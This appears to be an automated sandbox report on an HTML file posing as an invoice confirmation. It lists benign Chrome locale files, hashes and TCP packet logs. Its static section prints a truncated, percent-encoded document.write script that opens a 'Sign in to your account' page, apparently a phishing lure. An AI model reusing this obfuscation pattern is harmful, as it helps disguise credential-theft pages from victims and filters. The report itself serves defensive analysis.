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Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 661

Entropy (8bit): 4.450938335136508

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD

MD5: 82719BD3999AD66193A9B0BB525F97CD

SHA1: 41194D511F1ACC16C1CA828AC81C18C8C6B47287

SHA-256: 4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7

SHA-512: D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE01
28

Malicious: false

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento."..   },..   "jwt_retrieve_failed": {..      "message": 
"The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicia sesi.n en Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 637

Entropy (8bit): 4.47253983486615

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO03OyZnLAOfTYiJD:1HEvaC6WYpcDeEFxq8Zp4LlOGAOfvD

MD5: 6B2583D8D1C147E36A69A88009CBEBC7

SHA1: 4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937

SHA-256: 6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F

SHA-512: 37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA
53

Malicious: false

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "En este momento, Pagos En-Apps no est. disponible."..   },..   "jwt_retrieve_failed": {..      "message": "The tr
ansaction could not be completed."..   },..   "please_sign_in": {..      "message": "Accede a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 595

Entropy (8bit): 4.467205425399467

Encrypted: false

SSDEEP: 12:1HEJfPGGGfPG+WYpU34Ze7z+dgrW9O8ZpU34ZwZz03OyZnLAOfTYgoLIR:1HEdvqlWYpTeObk8ZpT/OGAOfuLIR

MD5: CFF6CB76EC724B17C1BC920726CB35A7

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\es\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\es_419\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\et\messages.json
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SHA1: 14ED068251D65A840F00C05409D705259D329FFC

SHA-256: C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD

SHA-512: 53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome'i veebipoe maksed"..   },..   "app_name": {..      "message": "Chrome'i veebipoe maksed"..   },..   "craw_app_unavail
able": {..      "message": "Rakendus pole praegu saadaval."..   },..   "craw_connect_to_network": {..      "message": "Looge .hendus v.rguga."..   },..   "iap_unavailable": {..    
  "message": "Rakendusesisesed maksed ei ole praegu saadaval."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Logige Chrome'i sisse."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.595421267152647

Encrypted: false

SSDEEP: 12:1HEJRuzGGRuz+WYpU34ujSBu+dgYO8ZpU34J+Bu03OyZnLAOfTY5HN:1HEFcWYpPNa8ZpD+FOGAOfEHN

MD5: 3A01FEE829445C482D1721FF63153D16

SHA1: F3EAAADDC03F943FC88B30B67F534AA13E3336DD

SHA-256: 0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836

SHA-512: 3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEA
D8

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Storen maksut"..   },..   "app_name": {..      "message": "Chrome Web Storen maksut"..   },..   "craw_app_unavail
able": {..      "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss.."..   },..   "craw_connect_to_network": {..      "message": "Muodosta verkkoyhteys."..   },..   "iap_unavai
lable": {..      "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss.."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Kirjaudu sis..n Chromeen."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 658

Entropy (8bit): 4.5231229502550745

Encrypted: false

SSDEEP: 12:1HEJADlbGGADlb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeT03OyZnLAOfTYHfvF:1HEYah6WYp7TUSoxOS8Zp7TOsOGAOfqV

MD5: 57AF5B654270A945BDA8053A83353A06

SHA1: EEEF7A4F869F97CF471A05D345E74F982D15E167

SHA-256: EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2

SHA-512: 5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF5
2

Malicious: false

Preview: {..   "app_description": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   },..   "app_name": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Kasalukuyang hindi available ang app."..   },..   "craw_connect_to_network": {..      "message": "Mangyaring kumonekta 
sa isang network."..   },..   "iap_unavailable": {..      "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Mangyaring mag-sign in sa Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 677

Entropy (8bit): 4.552569602149629

Encrypted: false

SSDEEP: 12:1HEJALf/nbGGALf/nb+WYpU34Owdgbyb+dgdQjO8ZpU34ITQpGnbyb03OyZnLAO8:1HE4Hna1Hn6WYpNdgpY8ZpSTQwnBOGAh

MD5: 8D11C90F44A6585B57B933AB38D1FFF8

SHA1: 3F9D44EA8807069A32AACA2AAAD02FD892E6CC90

SHA-256: 599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5

SHA-512: D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F
7

Malicious: false

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\fi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\fil\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\fr\messages.json
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Preview: {..   "app_description": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   "app_name": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   
"craw_app_unavailable": {..      "message": "Application indisponible pour le moment."..   },..   "craw_connect_to_network": {..      "message": "Veuillez vous connecter . un 
r.seau."..   },..   "iap_unavailable": {..      "message": "Les paiements via l'application ne sont pas disponibles pour le moment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Veuillez vous connecter . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 835

Entropy (8bit): 4.791154467711985

Encrypted: false

SSDEEP: 24:1HEs07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLm:Wh7qgYp1CMLUph1GiSLm

MD5: E376D757C8FD66AC70A7D2D49760B94E

SHA1: 1525C5B1312D409604F097768503298EC440CC4D

SHA-256: 8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D

SHA-512: 673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome ... ..... ......"..   },..   "app_name": {..      "message": "Chrome ... ..... ......"..   },..   "craw_app_unavailable": {..      "messa
ge": "......... .. ... ...... .... ..."..   },..   "craw_connect_to_network": {..      "message": "..... ....... .. ...... ....."..   },..   "iap_unavailable": {..      "message": "..-.. ...... ... ...... .... ..."..   
},..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "..... Chrome ... .... .. ....."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 618

Entropy (8bit): 4.56999230891419

Encrypted: false

SSDEEP: 12:1HEJGiimxmbZGGGiimxmbZ+WYpU34OBOEuhopIO+dgcapZO8ZpU34GiiZrMrQphK:1HE4H4TH8WYpNjTta28ZpQVLP0SOGAOK

MD5: 8185D0490C86363602A137F9A261CC50

SHA1: 5BD933B874441CEACB9201CCC941FF67BAED6DC0

SHA-256: A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15

SHA-512: D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D03
96E

Malicious: false

Preview: {..   "app_description": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "craw
_app_unavailable": {..      "message": "Aplikacija trenuta.no nije dostupna."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se s mre.om."..   },..   
"iap_unavailable": {..      "message": "Pla.anje u aplikaciji trenuta.no nije dostupno."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comple
ted."..   },..   "please_sign_in": {..      "message": "Prijavite se na Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 683

Entropy (8bit): 4.675370843321512

Encrypted: false

SSDEEP: 12:1HEJVJiGGVJi+WYpU34Hpo9O+dgMmfgijO8ZpU34Huo9O03OyZnLAOfTYBIAYm:1HEVrk5WYpQzTUg/8ZpwoXOGAOfYIAd

MD5: 85609CF8623582A8376C206556ED2131

SHA1: 1E16EB70DB5E59BB684866FF3E3925C2DEF25A12

SHA-256: 32A249749F12ADB6A220BF9ADC272C7E5D9AD5497A38B0086D961E3ABA17FBC6

SHA-512: 27883430865D3CFA6EDFE8C6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899EC78B

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Internetes .ruh.z Fizet.si rendszere"..   },..   "app_name": {..      "message": "Chrome Internetes .ruh.z Fizet.si r
endszere"..   },..   "craw_app_unavailable": {..      "message": "Az alkalmaz.s jelenleg nem .rhet. el."..   },..   "craw_connect_to_network": {..      "message": "K.rj.k, csatlako
zzon egy h.l.zathoz."..   },..   "iap_unavailable": {..      "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el."..   },..   "jwt_retrieve_failed": {..      "message": "The 
transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Jelentkezzen be a Chrome-ba."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\hi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\hr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\hu\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\id\messages.json
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Category: dropped

Size (bytes): 604

Entropy (8bit): 4.465685261172395

Encrypted: false

SSDEEP: 12:1HEJs25bGGs25b+WYpU34ORBHAeSJ+dgkmO8ZpU34s22C/SzFAs03OyZnLAOfTYR:1HEBaA6WYpaHFH8ZptOYOGAOf2D

MD5: EAB2B946D1232AB98137E760954003AA

SHA1: 60BDC2937905B311D2C9844DF2D639D7AC9F7F67

SHA-256: C6E8800450602DE0F39FE9F6854472383813FB454B08ABAE7E25A9167CE004C3

SHA-512: 970FEC9A9EF0BAF7F693C4C5977F3B47914579C5B5414FCE9DBB5E4574659A5BB9AD2DE0CC886B368F49C019785AF7D2D7FE82F71341F039EADC399ED776CA
12

Malicious: false

Preview: {..   "app_description": {..      "message": "Pembayaran Chrome Webstore"..   },..   "app_name": {..      "message": "Pembayaran Chrome Webstore"..   },..   "cr
aw_app_unavailable": {..      "message": "Aplikasi tidak tersedia saat ini."..   },..   "craw_connect_to_network": {..      "message": "Sambungkan ke jaringan."..   },..   
"iap_unavailable": {..      "message": "Pembayaran Dalam Aplikasi saat ini tidak tersedia."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be co
mpleted."..   },..   "please_sign_in": {..      "message": "Harap masuk ke Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 603

Entropy (8bit): 4.479418964635223

Encrypted: false

SSDEEP: 12:1HEJsqd/bGGsqd/b+WYpU34OcX4+dgUvIO8ZpU34vq703OyZnLAOfTYsD:1HEXd/aKd/6WYpZrv58ZpskOGAOfzD

MD5: A328EEF5E841E0C72D3CD7366899C5C8

SHA1: 2851ED658385804E87911643F5A4200B1FB26E13

SHA-256: CD891C45F7586FB4A2514205A11F260E4A6D4482FA03D901909DD9F57BE0536D

SHA-512: E47297896E981774EC3B59D41B89D6BA9333F6B4435EB9727D8645A46B10C7D408ADE06844871FA757382FBE7E645276449DB7B1B23BC59C9A71A5CB5A5ECC57

Malicious: false

Preview: {..   "app_description": {..      "message": "Pagamenti Chrome Web Store"..   },..   "app_name": {..      "message": "Pagamenti Chrome Web Store"..   },..   "craw_app_una
vailable": {..      "message": "App al momento non disponibile."..   },..   "craw_connect_to_network": {..      "message": "Collegati a una rete."..   },..   "iap_unavailable": {..      
"message": "La funzione Pagamenti In-App non . al momento disponibile."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Accedi a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 697

Entropy (8bit): 5.20469020877498

Encrypted: false

SSDEEP: 12:1HEJ07uGG07u+WYpU34DB+dgnsVztO8ZpU34MwiB03OyZnLAOfTYmSH:1HEcnDNWYp1kxU8Zp2wiqOGAOfpSH

MD5: 9B3A5D473C3F2BBFAEECE94A07A940B8

SHA1: 61BACA342CF766BBA15C7B4D892A0E7DAC9405AA

SHA-256: 706312A4A2AEF3317223F141EB2B82685345B7EED444F16BB4DF3A272716DA1F

SHA-512: 94F6FEE9A11BD890AB8211C98D1CC142348961EBCF756F66477A3E3A76519804B70BE0AE4E551739F8AFE32D7ADE6EDE04EF6B9B9EED03E3A857E6058EEDD4
C6

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome ........"..   },..   "app_name": {..      "message": "Chrome ........"..   },..   "craw_app_unavailable": {..      "message": "..........
......."..   },..   "craw_connect_to_network": {..      "message": "................"..   },..   "iap_unavailable": {..      "message": "......................."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome ............"..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 631

Entropy (8bit): 5.160315577642469

Encrypted: false

SSDEEP: 12:1HEJ1GG1+WYpU34K3aT+dgh8d0HTO8ZpU34KaNkaT03OyZnLAOfTY/YeHx:1HEajWYpc3aSl0Hq8Zpc6kasOGAOfyYA

MD5: 9F6B4D82A70C74CA751E2EAE70FAB5CF

SHA1: 0534F125FFCE8222277CF2BE3401C59DAF9217F8

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\it\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\ja\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\ko\messages.json
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SHA-256: D1467B8D037114403E8F4EFC52E88C4A7FEB96126BE4CFF883FEFF1084EF7E68

SHA-512: ED9319830314385D09C06F62EE34186E8CA576C857981205E4468A28B3ACD2AB03384E77B866032C324ABDD97A56EFD08E2D6E0C79D563578B3EC52517819BD8

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome . ... .."..   },..   "app_name": {..      "message": "Chrome . ... .."..   },..   "craw_app_unavailable": {..      "message": ".. .. ... . 
....."..   },..   "craw_connect_to_network": {..      "message": "..... ......"..   },..   "iap_unavailable": {..      "message": ".. .. ... ... . ....."..   },..   "jwt_retrieve_failed": {..      "
message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Chrome. ......."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 665

Entropy (8bit): 4.66839186029557

Encrypted: false

SSDEEP: 12:1HEJpqHnkGGpqHnk+WYpU346M+dgV6O8ZpU34WzSWz03OyZnLAOfTYx:1HELqHtKqHPWYpM3A8ZpwGzOGAOfg

MD5: 4CA644F875606986A9898D04BDAE3EA5

SHA1: 722A10569E93975129D67FBDB75B537D9D622AD1

SHA-256: 7C311AB751D840D750C11553C083785813E079C1D464FE568A98C9E3EF3DB96C

SHA-512: E575E3D0622F5BD4B6C0EE79128A1B1F1882195670139D1983F4377D847141B8FB8EBB8BCED82AF3A220ED07D3577AFBE085BADC0E9C7678292B80E3EC5D344
4

Malicious: false

Preview: {..   "app_description": {..      "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema"..   },..   "app_name": {..      "message": ".Chrome. internetin.s parduotuv.s 
mok.jimo sistema"..   },..   "craw_app_unavailable": {..      "message": "Programa .iuo metu negalima."..   },..   "craw_connect_to_network": {..      "message": "Prisijunkite 
prie tinklo."..   },..   "iap_unavailable": {..      "message": "Mok.jimai programoje .iuo metu negalimi."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could 
not be completed."..   },..   "please_sign_in": {..      "message": "Prisijunkite prie .Chrome.."..   }..}..

File type: HTML document, ASCII text, with very long lines, with CRLF line terminators

Entropy (8bit): 3.361223713678967

TrID: HyperText Markup Language (31031/1) 100.00%

File name: Invoice_payment_confirmation_567.html

File size: 50476

MD5: e91df87620aa68b41abc943cd4c096bf

SHA1: 4ec2d9b4832c871b0f307eb97484f925fd86d8a2

SHA256: 2aa5bffa8a9c6a8590f9cbbd68ab94dc7a8e99b630e97561e15bf2dfd8904235

SHA512: 3b3ad36e1a51e2fb39c5cc0b12344ae1d255ed43471f1ba87a2bacc3009400ad9e85379d4095d4c3eb171c0449c9d2a12e6cfab789f25d7b9f316c8f1be24e0e

SSDEEP: 384:MxH62+4R4sdXd9sytvimzuPY3ZoTB074ulKCl01BQsMOhBjj9ROLXkY+9njnhX:Ms4R4+spBv9ROLXkYYJ

TLSH: 6733753C70A1D0AEA4BF4A7BFEE52514D9880F97C8C9B74405D4C66D2FFCE6A3014A96

File Content 
Preview:

<script 
type="text/javascript">..document.write(unescape('%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%0d%0a%3c%68%74%6d%6c%3e%0d%0a%3c%6
8%65%61%64%3e%0d%0a%09%3c%74%69%74%6c%65%3e%53%69%67%6e%20%69%6e%20%74%6f%20%79%6f%75%72%20%61%63%63%6f%75%6e%74%3
c%2

Total Packets: 46

• 53 (DNS)

• 443 (HTTPS)

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\lt\messages.json

Static File Info

General

Network Behavior

Network Port Distribution
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Timestamp Source Port Dest Port Source IP Dest IP

May 26, 2022 13:45:23.999077082 CEST 49717 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:23.999136925 CEST 443 49717 20.82.210.154 192.168.2.4

May 26, 2022 13:45:23.999176979 CEST 49718 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:23.999238014 CEST 443 49718 20.82.210.154 192.168.2.4

May 26, 2022 13:45:23.999270916 CEST 49717 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:23.999330997 CEST 49718 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.295181036 CEST 49712 443 192.168.2.4 40.126.31.143

May 26, 2022 13:45:24.411163092 CEST 49717 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.411220074 CEST 443 49717 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.426438093 CEST 49718 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.426491976 CEST 443 49718 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.576575994 CEST 443 49717 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.576702118 CEST 49717 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.579783916 CEST 443 49718 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.579893112 CEST 49718 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.602479935 CEST 49717 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.602514029 CEST 443 49717 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.602873087 CEST 443 49717 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.602931023 CEST 49717 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.606338978 CEST 49718 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.606395006 CEST 443 49718 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.606790066 CEST 443 49718 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.606909990 CEST 49718 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.652899981 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.653081894 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.653208971 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.653316021 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.653397083 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.653446913 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.653486013 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.653557062 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.653600931 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.653640032 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.659822941 CEST 49717 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.660022974 CEST 49718 443 192.168.2.4 20.82.210.154

May 26, 2022 13:45:24.677500963 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677557945 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677599907 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677638054 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677675962 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677721024 CEST 443 49715 131.253.33.200 192.168.2.4

TCP Packets
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May 26, 2022 13:45:24.677758932 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677798986 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677831888 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677871943 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677911997 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677951097 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.677989960 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678028107 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678056955 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678093910 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678133011 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678172112 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678211927 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678250074 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678289890 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678375959 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678407907 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678446054 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678484917 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678528070 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678567886 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678600073 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678628922 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678668022 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678700924 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678740025 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678775072 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678812981 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678848982 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678881884 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678910017 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678936958 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.678971052 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.679018021 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679148912 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679183006 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679279089 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679357052 CEST 443 49715 131.253.33.200 192.168.2.4

